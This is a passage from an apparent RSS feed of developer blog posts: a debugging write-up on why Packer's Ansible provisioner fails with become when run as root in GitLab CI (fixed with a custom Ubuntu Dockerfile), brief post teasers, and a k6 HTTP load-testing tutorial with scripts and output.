docker run -v `pwd`:/app --rm -it --entrypoint='' hashicorp/packer:light sh
And yes. When I ran packer build, I could replicate the issue here! But wait. More questions than answers. Ansible would run this groupadd command on the remote host, right? Why does Ansible care if it’s inside a container or not? So, I created a really simple playbook to reproduce this further.
- name: Assemble Consul cluster
  hosts: localhost
  any_errors_fatal: true
  become: true
  become_user: root
  tasks:
    - name: Add Consul group
      group:
        name: debug_consul
        state: present
I ran this ansible-playbook test.yml inside the container and… it worked! Okay, now it’s becoming clear. We aren’t executing ansible-playbook directly, it’s being wrapped by Packer. So this is clearly getting messed up by Packer. This time I did find a GitHub issue where people were asking about similar issues and this person described it well:

I opened Packer docs again and that’s when I read this:
We recommend against running Packer as root; if you do then you won’t be able to successfully run your Ansible playbook as root; become: yes will fail.
WTF!!! This was right there in the docs, hiding in plain sight. Sheesh!
Okay, so I can not run my playbook with become: true with the packer Image (which uses root user). Time to fix that by building a custom image. That is because Gitlab CI won’t let me change the user without hacking stuff. And a custom image also allows me to ditch Alpine for Ubuntu, which is what I prefer.
FROM ubuntu:latest

RUN apt-get update && apt-get install -y \
    python3 \
    git \
    curl \
    unzip \
    python3-pip \
    && rm -rf /var/lib/apt/lists/*

RUN curl -o packer.zip https://releases.hashicorp.com/packer/1.7.8/packer_1.7.8_linux_amd64.zip
RUN unzip packer.zip
RUN mv packer /usr/local/bin

RUN pip3 install ansible

RUN useradd -rm -d /home/ubuntu -s /bin/bash -g root -G sudo -u 1000 ubuntu
USER ubuntu

WORKDIR /tmp

ENV PATH="$HOME/.local/bin:$PATH"

WORKDIR /app
Using this custom image, the packer build worked just fine. Fun day indeed (/s).
Fin!]]></description>
            <content:encoded><![CDATA[<p>Today I faced an issue that questioned my sanity. Since I didn’t find many “related” issues on StackOverflow/Google-fu except a lone GitHub thread where a kind stranger hinted at what could be the issue, I am writing about it here in the hopes (although I don’t wish this torture on anyone) that it helps someone!</p>
<p>To give some context, I am running a <a rel="external" href="https://docs.gitlab.com/ee/ci/">Gitlab CI</a> job that bakes an <a rel="external" href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html">AMI</a> using <a rel="external" href="https://www.packer.io/">Packer</a>. Packer can use different kinds of provisioners to do configure stuff on the host and then prepare the image. I am using <a rel="external" href="https://www.packer.io/docs/provisioners/ansible/ansible">Ansible provisioner</a> to install and configure <a rel="external" href="https://www.consul.io/">Consul</a>. At this point you may think this post is sponsored by Hashicorp by the sheer mention of all their products, but I assure you that is not the case.</p>
<p>Anyway, so this role works locally but it fails on the damn Gitlab CI. Classic case of <a rel="external" href="https://memegenerator.net/instance/64569365/disaster-girl-worked-fine-on-local-dev-ops-problem-now">Works on my machine, Ops problem now</a>. These kinds of issues although are particularly exciting for me because they give me a chance to dig down deeper in the internals and slowly peel apart layers to figure out where the “drift” between local and CI is happening.</p>
<p>Here’s the relevant Packer snippet (Oh and this week as I updated myself with new Packer releases, it’s now possible to write Packer config with HCL and not just JSON anymore! Yayie. Again a reminder: not a sponsored post).</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">build</span><span> {</span></span>
<span class="giallo-l"><span>  sources</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">source.amazon-ebs.golden-ami</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  provisioner</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;ansible&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    playbook_file</span><span style="color: light-dark(#D73A49, #F47067);">           =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>var</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span>playbook_file</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    extra_arguments</span><span style="color: light-dark(#D73A49, #F47067);">         =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--tags</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">install</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">-e</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ansible_python_interpreter=/usr/bin/python3</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>    ansible_env_vars</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ANSIBLE_LOCAL_TEMP=$HOME/.ansible/tmp</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ANSIBLE_REMOTE_TEMP=$HOME/.ansible/tmp</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>    galaxy_file</span><span style="color: light-dark(#D73A49, #F47067);">             =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>var</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span>galaxy_file</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    inventory_file_template</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">[consul_instances]</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">{{ .HostAlias }} ansible_host={{ .Host }} ansible_user={{ .User }} ansible_port={{ .Port }}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Running <code>packer build</code> in CI results in a failure of a task defined in the Ansible playbook. The task simply creates a new group:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span>-</span><span style="color: light-dark(#22863A, #8DDB8C);"> n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> A</span><span style="color: light-dark(#032F62, #96D0FF);">dd Consul group</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  g</span><span style="color: light-dark(#22863A, #8DDB8C);">roup</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{{ consul_group }}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">tate</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">resent</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  w</span><span style="color: light-dark(#22863A, #8DDB8C);">hen</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> c</span><span style="color: light-dark(#032F62, #96D0FF);">onsul_manage_group | bool</span></span></code></pre>
<p><a rel="external" href="https://docs.ansible.com/ansible/latest/collections/ansible/builtin/group_module.html"><code>group</code></a> runs <code>groupapp</code> command behind the scenes and you should be in the list of sudoers to actually create new groups. Since I already have <code>become: true</code> and <code>become_user: root</code> in my playbook that requirement is fulfilled. Moreover, this task runs just fine in the local as I mentioned above. While running in CI, I see the following error:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>amazon-ebs.golden-ami: TASK [consul : Add Consul group] ***********************************************</span></span>
<span class="giallo-l"><span>amazon-ebs.golden-ami: fatal: [default]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;groupadd: Permission denied.\ngroupadd: cannot lock /etc/group; try again later.\n&quot;, &quot;name&quot;: &quot;consul&quot;}</span></span></code></pre>
<p>Erhm, okayyy. That looks like a permission error. But why does this not happen in my local was the question eating me up.</p>
<p>Now was the time to start from the ground up and dissect different things going here. I will add a small hint though: The Gitlab CI runner is a <a rel="external" href="https://docs.gitlab.com/runner/executors/docker.html">Docker-based</a> runner. That means all the commands like <code>packer build</code> etc happen inside a Docker container. I am using <code>hashicorp/packer:light</code> image, which is an Alpine based image containing just the <code>packer</code> executable.</p>
<p>I tried to run the container locally with:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span style="color: light-dark(#032F62, #96D0FF);"> `</span><span style="color: light-dark(#005CC5, #6CB6FF);">pwd</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#6F42C1, #F69D50);">:/app</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-rm</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">it</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-entrypoint=</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> hashicorp/packer:light</span><span style="color: light-dark(#032F62, #96D0FF);"> sh</span></span></code></pre>
<p>And yes. When I ran <code>packer build</code>, I could replicate the issue here! But wait. More questions than answers. Ansible would run this <code>groupadd</code> command on the remote host, right? Why does Ansible care if it’s inside a container or not? So, I created a really simple playbook to reproduce this further.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>- name: Assemble Consul cluster</span></span>
<span class="giallo-l"><span>  hosts: localhost</span></span>
<span class="giallo-l"><span>  any_errors_fatal: true</span></span>
<span class="giallo-l"><span>  become: true</span></span>
<span class="giallo-l"><span>  become_user: root</span></span>
<span class="giallo-l"><span>  tasks:</span></span>
<span class="giallo-l"><span>    - name: Add Consul group</span></span>
<span class="giallo-l"><span>      group:</span></span>
<span class="giallo-l"><span>        name: debug_consul</span></span>
<span class="giallo-l"><span>        state: present</span></span></code></pre>
<p>I ran this <code>ansible-playbook test.yml</code> inside the container and… it worked! Okay, now it’s becoming clear. We aren’t executing <code>ansible-playbook</code> directly, it’s being wrapped by Packer. So this is clearly getting messed up by Packer. This time I did find a <a rel="external" href="https://github.com/hashicorp/packer/issues/5421">GitHub issue</a> where people were asking about similar issues and this person described it well:</p>
<p><img src="https://mrkaran.dev/images/packer_root_issue.png" alt="image" /></p>
<p>I opened <a rel="external" href="https://www.packer.io/docs/provisioners/ansible/ansible#become-yes">Packer docs</a> again and that’s when I read this:</p>
<blockquote>
<p>We recommend against running Packer as root; if you do then you won’t be able to successfully run your Ansible playbook as root; become: yes will fail.</p>
</blockquote>
<p>WTF!!! This was right there in the docs, hiding in plain sight. Sheesh!</p>
<p>Okay, so I can not run my playbook with <code>become: true</code> with the packer Image (which uses root user). Time to fix that by building a custom image. That is because Gitlab CI <a rel="external" href="https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2750">won’t let me change the user</a> without hacking stuff. And a custom image also allows me to ditch Alpine for Ubuntu, which is what I prefer.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>FROM ubuntu:latest</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>RUN apt-get update &amp;&amp; apt-get install -y \</span></span>
<span class="giallo-l"><span>    python3 \</span></span>
<span class="giallo-l"><span>    git \</span></span>
<span class="giallo-l"><span>    curl \</span></span>
<span class="giallo-l"><span>    unzip \</span></span>
<span class="giallo-l"><span>    python3-pip \</span></span>
<span class="giallo-l"><span>    &amp;&amp; rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>RUN curl -o packer.zip https://releases.hashicorp.com/packer/1.7.8/packer_1.7.8_linux_amd64.zip</span></span>
<span class="giallo-l"><span>RUN unzip packer.zip</span></span>
<span class="giallo-l"><span>RUN mv packer /usr/local/bin</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>RUN pip3 install ansible</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>RUN useradd -rm -d /home/ubuntu -s /bin/bash -g root -G sudo -u 1000 ubuntu</span></span>
<span class="giallo-l"><span>USER ubuntu</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>WORKDIR /tmp</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>ENV PATH=&quot;$HOME/.local/bin:$PATH&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>WORKDIR /app</span></span></code></pre>
<p>Using this custom image, the packer build worked just fine. Fun day indeed (/s).</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Systems, Scale, Value]]></title>
            <link>https://www.evalapply.org/posts/systems-scale-value/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/systems-scale-value/index.html</guid>
            <pubDate>Sat, 13 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Creating things is a delicate endeavour, fraught with peril. People struggle forward through crazy marketplace and environmental complexities just to get from one day to the other. Yet I can't shake off the feeling that we make it harder for ourselves than it should be. I've been trying to work out why. There's a lot to unpack. This post is a start at thinking about it in public.]]></description>
            <content:encoded><![CDATA[Creating things is a delicate endeavour, fraught with peril. People struggle forward through crazy marketplace and environmental complexities just to get from one day to the other. Yet I can't shake off the feeling that we make it harder for ourselves than it should be. I've been trying to work out why. There's a lot to unpack. This post is a start at thinking about it in public.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>systems</category>
            <category>scale</category>
            <category>complexity</category>
        </item>
        <item>
            <title><![CDATA[In the beginning, was the domain name]]></title>
            <link>https://www.evalapply.org/posts/hello-world/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/hello-world/index.html</guid>
            <pubDate>Wed, 10 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[How this blog came to be is a minor miracle. Long story short, I conned myself into believing nobody will find /and/ read it. But you're here, aren't you? And you're reading this. Aren't You? Confucamus. Well, here's how you got here.]]></description>
            <content:encoded><![CDATA[How this blog came to be is a minor miracle. Long story short, I conned myself into believing nobody will find /and/ read it. But you're here, aren't you? And you're reading this. Aren't You? Confucamus. Well, here's how you got here.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>hello_world</category>
            <category>howto</category>
            <category>whyto</category>
        </item>
        <item>
            <title><![CDATA[Load testing with K6]]></title>
            <link>https://mrkaran.dev/posts/load-testing-k6/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/load-testing-k6/</guid>
            <pubDate>Thu, 28 Oct 2021 18:30:00 GMT</pubDate>
            <description><![CDATA[This week I was occupied with optimising a Golang program I’d written at work. I wanted a way to reproduce the issue under heavy load on my development environment and Load Tests are a good way to do that.
The service in question is a RESTful API so it’s relatively easy to use any HTTP load test tools. The endpoint had an input parameter uuid which accepted a valid UUIDv4 as the input. To my surprise, this was not so straightforward with hey (which is my tool of choice for simple tests) and ab. While it was possible to write an external script to do that, I thought to look around at some “scriptable” alternatives. I found wrk which allowed me to write custom Lua modules. Now, I didn’t want to lose my focus from the main task which was load testing my service to write Lua, so I didn’t use wrk but it’s still a pretty decent option (and very very fast, at that).
Hello k6!#

Some more Google-fu resulted in me finding k6. I’d never heard of this but after exploring the GitHub repo and the docs it looks like a pretty active project.
So, k6 basically allows you to write scriptable tests which allow you to test a variety of scenarios. The scripts are written in Javascript and treated as ES6 Modules for extensibility. k6 has a concept of Virtual Users to mimic a real-world user. Each VU runs the “script” in an isolated self-contained JS runtime using Goja. Now obviously at this point, if speed is your utmost concern to generate very heavy load tests, I guess wrk is your only real choice as invoking a JS runtime inside Go won’t be super fast. But for most use-cases and people, like my case, this will just be fine.
Basic Usage#
Anyway, I quickly grokked the docs and copy-pasted some examples and modified them to what I needed. I was able to run a basic load test running very quickly and admired the simplicity here. It generated some p90, p95 etc stats which were helpful to look at. Here’s a basic example of how the script looks:
import http from 'k6/http';
import { check, sleep } from 'k6';
import { Rate } from 'k6/metrics';
import { uuidv4 } from "https://jslib.k6.io/k6-utils/1.0.0/index.js";

export const errorRate = new Rate('errors');

export default function () {
  const url = 'https://httpbin.org/post';
  const params = {
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
  };

  const data = {
    custname: "hello",
    comments: uuidv4(),
  };
  check(http.post(url,data, params), {
    'status is 200': (r) => r.status == 200,
  }) || errorRate.add(1);

  sleep(0.5);
}
To run it:
k6 run -d 10s -u 10 httpbin_load.js
(Here -d is for the duration to run the test and -u is to specify Virtual User)
Explanation:
It’s an HTTP POST request with some form data to https://httpbin.org/post
We use the uuid function because the JS stdlib is great at providing basic helper methods (/s)
We define a check for HTTP status code as 200. Later we’ll see how to add more real-world checks under heavy load.
We have a sleep function to pause a little bit before each iteration. This is pretty important as leaving sleep is akin to a user pressing F5 on a browser non-stop and you’d probably not want your load tests to be that aggressive. Read docs for more info.
Output:
❯ k6 run -d 30s -u 10 test.js                   

          /\      |‾‾| /‾‾/   /‾‾/   
     /\  /  \     |  |/  /   /  /    
    /  \/    \    |     (   /   ‾‾\  
   /          \   |  |\  \ |  (‾)  | 
  / __________ \  |__| \__\ \_____/ .io

  execution: local
     script: test.js
     output: -

  scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop):
           * default: 10 looping VUs for 30s (gracefulStop: 30s)


running (0m30.6s), 00/10 VUs, 387 complete and 0 interrupted iterations
default ✓ [======================================] 10 VUs  30s

     ✓ status is 200

     checks.........................: 100.00% ✓ 387       ✗ 0   
     data_received..................: 318 kB  10 kB/s
     data_sent......................: 78 kB   2.5 kB/s
     http_req_blocked...............: avg=28.65ms  min=210ns    med=857ns    max=1.1s     p(90)=1.49µs   p(95)=1.68µs  
     http_req_connecting............: avg=7.77ms   min=0s       med=0s       max=301.24ms p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms 
       { expected_response:true }...: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms 
     http_req_failed................: 0.00%   ✓ 0         ✗ 387 
     http_req_receiving.............: avg=177.35µs min=39.43µs  med=170.18µs max=604.22µs p(90)=259.75µs p(95)=285.73µs
     http_req_sending...............: avg=268.41µs min=48.62µs  med=216.61µs max=7.95ms   p(90)=334.94µs p(95)=448.21µs
     http_req_tls_handshaking.......: avg=15.87ms  min=0s       med=0s       max=615.25ms p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=253.61ms min=215.34ms med=230.77ms max=826.57ms p(90)=316.98ms p(95)=324.69ms
     http_reqs......................: 387     12.666038/s
     iteration_duration.............: avg=784ms    min=717ms    med=732.43ms max=1.92s    p(90)=820.35ms p(95)=926.87ms
     iterations.....................: 387     12.666038/s
     vus............................: 10      min=10      max=10
     vus_max........................: 10      min=10      max=10
Things to look for:
From the above output, I think these 2 metrics are the most important to look at:
     http_req_duration..............: avg=254.05ms min=215.63ms med=231.15ms max=826.99ms p(90)=317.33ms p(95)=325.1ms 
     http_reqs......................: 387     12.666038/s
We see the total requests sent in 30s were 387 and the p95 response time is 325.1ms.
Testing some real-world scenarios#
This was a really simple example but we can add some more scenarios to mimic real-world checks. Let’s tweak the script to
Go from 1 to 10 users in 10s.
Stay at 10 users for 5s.
Ramp down to 1 user for the next 15s.
Have a threshold of not exceeding 500ms as p95.
Have a threshold for the count of non 200 OK responses.
The above script now becomes:
import http from 'k6/http';
import { check, sleep } from 'k6';
import { Rate } from 'k6/metrics';
import { uuidv4 } from "https://jslib.k6.io/k6-utils/1.0.0/index.js";

export const errorRate = new Rate('non_200_requests');

export let options = {
    stages: [
        // Ramp-up from 1 to 10 VUs in 10s.
        { duration: "10s", target: 10 },

        // Stay at rest on 10 VUs for 5s.
        { duration: "5s", target: 10 },

        // Linearly ramp down from 10 to 0 VUs over the last 15s.
        { duration: "15s", target: 0 }
    ],
    thresholds: {
        // We want the 95th percentile of all HTTP request durations to be less than 500ms
        "http_req_duration": ["p(95)<500"],
        // Thresholds based on the custom metric `non_200_requests`.
        "non_200_requests": [
            // Global failure rate should be less than 1%.
            "rate<0.01",
            // Abort the test early if it climbs over 5%.
            { threshold: "rate<=0.05", abortOnFail: true },
        ],
    },
};

export default function () {
  const url = 'https://httpbin.org/post';
  const params = {
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded',
    },
  };

  const data = {
    custname: "hello",
    comments: uuidv4(),
  };
  check(http.post(url,data, params), {
    'status is 200': (r) => r.status == 200,
  }) || errorRate.add(1);

  sleep(Math.random() * 1 + 1); // Random sleep between 1s and 2s.
}
Run with k6 run test.js:
2.21.0 on ☁️  (ap-south-1) took 24s 
❯ k6 run test.js

          /\      |‾‾| /‾‾/   /‾‾/   
     /\  /  \     |  |/  /   /  /    
    /  \/    \    |     (   /   ‾‾\  
   /          \   |  |\  \ |  (‾)  | 
  / __________ \  |__| \__\ \_____/ .io

  execution: local
     script: test.js
     output: -

  scenarios: (100.00%) 1 scenario, 10 max VUs, 1m0s max duration (incl. graceful stop):
           * default: Up to 10 looping VUs for 30s over 3 stages (gracefulRampDown: 30s, gracefulStop: 30s)


running (0m30.3s), 00/10 VUs, 105 complete and 0 interrupted iterations
default ✓ [======================================] 00/10 VUs  30s

     ✓ status is 200

     checks.........................: 100.00% ✓ 105      ✗ 0   
     data_received..................: 126 kB  4.2 kB/s
     data_sent......................: 25 kB   841 B/s
     http_req_blocked...............: avg=73.69ms  min=292ns    med=761ns    max=1.02s    p(90)=1.54µs   p(95)=688.76ms
     http_req_connecting............: avg=21.67ms  min=0s       med=0s       max=245.46ms p(90)=0s       p(95)=223.77ms
   ✓ http_req_duration..............: avg=252.72ms min=215.88ms med=230.31ms max=560.17ms p(90)=299.12ms p(95)=406.94ms
       { expected_response:true }...: avg=252.72ms min=215.88ms med=230.31ms max=560.17ms p(90)=299.12ms p(95)=406.94ms
     http_req_failed................: 0.00%   ✓ 0        ✗ 105 
     http_req_receiving.............: avg=177.85µs min=103.82µs med=163.76µs max=366.5µs  p(90)=235.86µs p(95)=266.39µs
     http_req_sending...............: avg=258.17µs min=96.92µs  med=215.88µs max=958.67µs p(90)=410.05µs p(95)=487.18µs
     http_req_tls_handshaking.......: avg=50.22ms  min=0s       med=0s       max=614.14ms p(90)=0s       p(95)=460.3ms 
     http_req_waiting...............: avg=252.29ms min=215.17ms med=229.69ms max=559.86ms p(90)=298.42ms p(95)=406.52ms
     http_reqs......................: 105     3.471037/s
     iteration_duration.............: avg=1.84s    min=1.22s    med=1.85s    max=3.02s    p(90)=2.22s    p(95)=2.46s   
     iterations.....................: 105     3.471037/s
     vus............................: 1       min=1      max=10
     vus_max........................: 10      min=10     max=10
We can see that all the checks passed without breaching any thresholds we’d set.
Some important points:
In my local environment, I stress tested my service with 10k VUs which is quite a high number for the service but it was good to see it hold under extreme conditions as well. An important thing to note if you are spawning many VUs is that ulimit number should be high. This is described in their docs as well.
To debug the HTTP response you can run with --http-debug="full" flag and get the verbose output for debugging.
Summary#
I’ve barely scratched the surface of what this tool does. You can export metrics to various data sources, add a lot more checks on the response code, use it with GRPC or WebSockets as well.
Overall pretty happy with this tool and I am going to use more of it for future projects.
References#
https://k6.io/blog/comparing-best-open-source-load-testing-tools/
https://k6.io/our-beliefs/#simple-testing-is-better-than-no-testing
https://k6.io/docs/
https://github.com/grafana/k6
Fin]]></description>
            <content:encoded><![CDATA[<p>This week I was occupied with optimising a Golang program I’d written at work. I wanted a way to reproduce the issue under heavy load on my development environment and Load Tests are a good way to do that.</p>
<p>The service in question is a RESTful API so it’s relatively easy to use any HTTP load test tools. The endpoint had an input parameter <code>uuid</code> which accepted a valid <code>UUIDv4</code> as the input. To my surprise, this was not so straightforward with <a rel="external" href="https://github.com/rakyll/hey">hey</a> (which is my tool of choice for simple tests) and <a rel="external" href="https://github.com/CloudFundoo/ApacheBench-ab">ab</a>. While it was possible to write an external script to do that, I thought to look around at some “scriptable” alternatives. I found <a rel="external" href="https://github.com/wg/wrk">wrk</a> which allowed me to write custom Lua modules. Now, I didn’t want to lose my focus from the main task which was load testing my service to write Lua, so I didn’t use <code>wrk</code> but it’s still a pretty decent option (and <em>very very</em> fast, at that).</p>
<h2 id="hello-k6">Hello k6!<a class="zola-anchor" href="#hello-k6" aria-label="Anchor link for: hello-k6">#</a></h2>
<p><img src="https://mrkaran.dev/images/k6.png" alt="image" /></p>
<p>Some more Google-fu resulted in me finding <a rel="external" href="https://k6.io/">k6</a>. I’d never heard of this but after exploring the <a rel="external" href="https://github.com/grafana/k6">GitHub repo</a> and the docs it looks like a pretty active project.</p>
<p>So, <code>k6</code> basically allows you to write scriptable tests which allow you to test a variety of <a rel="external" href="https://k6.io/docs/using-k6/scenarios/">scenarios</a>. The scripts are written in Javascript and treated as ES6 Modules for extensibility. <code>k6</code> has a concept of <a rel="external" href="https://k6.io/docs/cloud/cloud-faq/general-questions/#what-are-vus-virtual-users">Virtual Users</a> to mimic a real-world user. Each VU runs the “script” in an isolated self-contained JS runtime using <a rel="external" href="https://github.com/dop251/goja">Goja</a>. Now obviously at this point, if speed is your utmost concern to generate very heavy load tests, I guess <code>wrk</code> is your only real choice as invoking a JS runtime inside Go won’t be super fast. But for most use-cases and people, like my case, this will just be fine.</p>
<h2 id="basic-usage">Basic Usage<a class="zola-anchor" href="#basic-usage" aria-label="Anchor link for: basic-usage">#</a></h2>
<p>Anyway, I quickly grokked the docs and copy-pasted some examples and modified them to what I needed. I was able to run a basic load test running very quickly and admired the simplicity here. It generated some p90, p95 etc stats which were helpful to look at. Here’s a basic example of how the script looks:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="javascript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> http</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6/http</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> check</span><span>,</span><span> sleep</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> Rate</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">k6/metrics</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> {</span><span> uuidv4</span><span> }</span><span style="color: light-dark(#D73A49, #F47067);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">https://jslib.k6.io/k6-utils/1.0.0/index.js</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"></span>
